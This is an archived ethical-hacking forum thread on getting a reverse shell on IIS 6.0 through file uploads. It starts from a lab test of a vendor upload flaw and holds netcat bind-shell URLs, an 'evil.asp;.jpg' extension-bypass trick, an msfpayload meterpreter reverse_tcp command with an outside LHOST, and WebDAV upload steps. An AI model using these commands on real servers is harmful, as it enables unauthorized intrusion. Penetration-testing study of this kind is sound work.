Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 69 guests and 2 members online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow Reverse shell on IIS 6.0
EH-Net
May 19, 2013, 01:44:56 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Reverse shell on IIS 6.0  (Read 19757 times)
0 Members and 1 Guest are viewing this topic.
mn_kthompson
Jr. Member
**
Offline Offline

Posts: 58



View Profile WWW
« on: September 18, 2007, 11:17:40 AM »

I'll try to keep the backstory short on this.  We have an outside vendor that has developed a web-based application for one of our departments.  The application allows the logged on user to upload files into a directory that is accessible to the web server.  In other words, you can upload a file, and then point your browser at that file.  We have some concerns about this, so I decided to set up a test machine to test a potential vulnerability. 

I have set up IIS 6.0 on a virtual machine running a fully patched evaluation version of Windows Server 2003 and I set some ridiculously wide open permissions on the folder and whipped up an ASP.NET application that lets an anonymous user upload any file to the wwwroot directory.  I have verified that I was able to upload cmd.exe and nc.exe to the wwwroot directory.

The problem is, I can't seem to do anything with those files that I uploaded.  I have made sure that everyone has execute permission on the wwwroot folder, but I still can't seem to get a reverse shell.  I can't even seem to get a directory listing.  I tried putting this into my browser:
Code:
http://134.29.32.249/cmd.exe?dir+c:\

but I keep getting a page cannot be displayed error.  I also tried:
Code:
http://134.29.32.249/nc.exe?-l+-p+1001+-e+cmd.exe
which also hasn't worked.  Does anyone know IIS well enough to tell me what I've done wrong here?  Is there some setting that I haven't opened up so that the web server can run the exe?  Is there something wrong with the http request that I've sent to the server?
Logged
LSOChris
Guest
« Reply #1 on: September 18, 2007, 04:47:06 PM »

try using the cmdasp.asp file

http://net-square.com/papers/one_way/one_way.html

it will execute as the IIS6 instance, so no SYSTEM privs but you should still be able to get a shell
Logged
rebrov
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #2 on: June 12, 2010, 02:26:35 AM »

try using the cmdasp.asp file

http://net-square.com/papers/one_way/one_way.html

it will execute as the IIS6 instance, so no SYSTEM privs but you should still be able to get a shell

i was about to make new thread asking how to this exploit how to get a shell on IIS 6.0 server ??

i tried to figure out the way in this site u mentioned but no luck

is there any proper way to do it i mean more explain from u ?
Logged
xXxKrisxXx
Hero Member
*****
Offline Offline

Posts: 512



View Profile
« Reply #3 on: June 12, 2010, 11:43:40 AM »

Maybe this may help - it's directly from ChrisG's blog
http://carnal0wnage.blogspot.com/2010/05/more-with-metasploit-and-webdav.html
Logged

eCPPT, GCIH, OSCP, OSWP
rebrov
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #4 on: June 13, 2010, 07:47:55 PM »

Maybe this may help - it's directly from ChrisG's blog
http://carnal0wnage.blogspot.com/2010/05/more-with-metasploit-and-webdav.html

thanks alot for the info and i want to ask somethings :

i found link at the same page and leading to some tips useful to me as the following :

$ cat happy.jpg evil.asp > "evil.asp;.jpg"

$ file "evil.asp;.jpg"
JPEG image data, JFIF standard 1.02

Now we upload our "evil.asp;.jpg" image to the web application. Since the extension ends in "jpg" and the contents of the file appear to be a valid JPEG, the web application accepts the file and renames it to "/images/evil.asp;.jpg"

at this part after i created the fake jpg file to upload to the web server as its real .asp script but he said upload this file to the server ??

1- how to upload the file to the server ?
2- how to know that it takes this directory at the server /images/ ?
3- and should i navigate to this directory location via browser ? or specific port via telnet ?
4- what should i do if the server doesn't allow users to upload ?

i hope u can answer this question cuz its gonna enlight me alot

thanks in advance
Logged
rebrov
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #5 on: June 13, 2010, 07:56:30 PM »

i found it at the page :
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.94 LPORT=443 R |
./msfencode -o tcp443meterp.asp
  • x86/shikata_ga_nai succeeded with size 318 (iteration=1)[/color]

    upload it and rename it

    dav:/davaroo/> put tcp443meterp.asp tcp443meterp.txt
    Uploading tcp443meterp.asp to `/davaroo/tcp443meterp.txt':
    Progress: [=============================>] 100.0% of 314810 bytes succeeded.
    dav:/davaroo/> copy tcp443meterp.txt tcp443meterp.asp;.txt
    Copying `/davaroo/tcp443meterp.txt' to `/davaroo/tcp443meterp.asp%3b.txt':  succeeded.
    dav:/davaroo/> exit

    he uploaded it to the server via what ? telnet ? at the part :

    dav:/davaroo/> put tcp443meterp.asp tcp443meterp.txt

    where to type this commands i dont understand this part clearly
Logged
xXxKrisxXx
Hero Member
*****
Offline Offline

Posts: 512



View Profile
« Reply #6 on: June 13, 2010, 08:25:47 PM »

He used a webdav client called cadaver to upload the file. He provide a reference link below in his blog but you could get it here. You could use the webdav auxiliary modules to verify it's up and running.

To try to answer some of your questions above:
1- how to upload the file to the server?
A. If FTP allows anonymous access and allows you to upload files that'd be good. WebDav also allows you to upload files - look into cadaver.
2- how to know that it takes this directory at the server /images/ ?
A. You could use a tool like nikto to find out what type of files are allowed  to get uploaded. One of the webdav auxiliary modules may also give you some information regarding this.
3- and should i navigate to this directory location via browser ? or specific port via telnet ?
A. Reference Answer 1.
4- what should i do if the server doesn't allow users to upload ?
A. Try Harder™
« Last Edit: June 13, 2010, 08:44:43 PM by xXxKrisxXx » Logged

eCPPT, GCIH, OSCP, OSWP
rebrov
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #7 on: June 13, 2010, 10:49:59 PM »

what if the webdav disabled ? i found out many exploits but most of them talking about exploiting via webdav 

but what if i can't via webdav because its disabled ?
Logged
LSOChris
Guest
« Reply #8 on: June 19, 2010, 08:47:41 AM »

i've reread this post a few times to try to find the question but i think you are asking other ways to get files on the server.

obviously the blog post is about exploiting webdav shares or writeable shares via normal windows networking.  you could also use some of those techniques if a site allows file uploads as well.  the same caveats would *usually* apply that you cant upload .exe or .asp(x) files in that case it the bypass method may still work for you.

hope that helps

Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.08 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.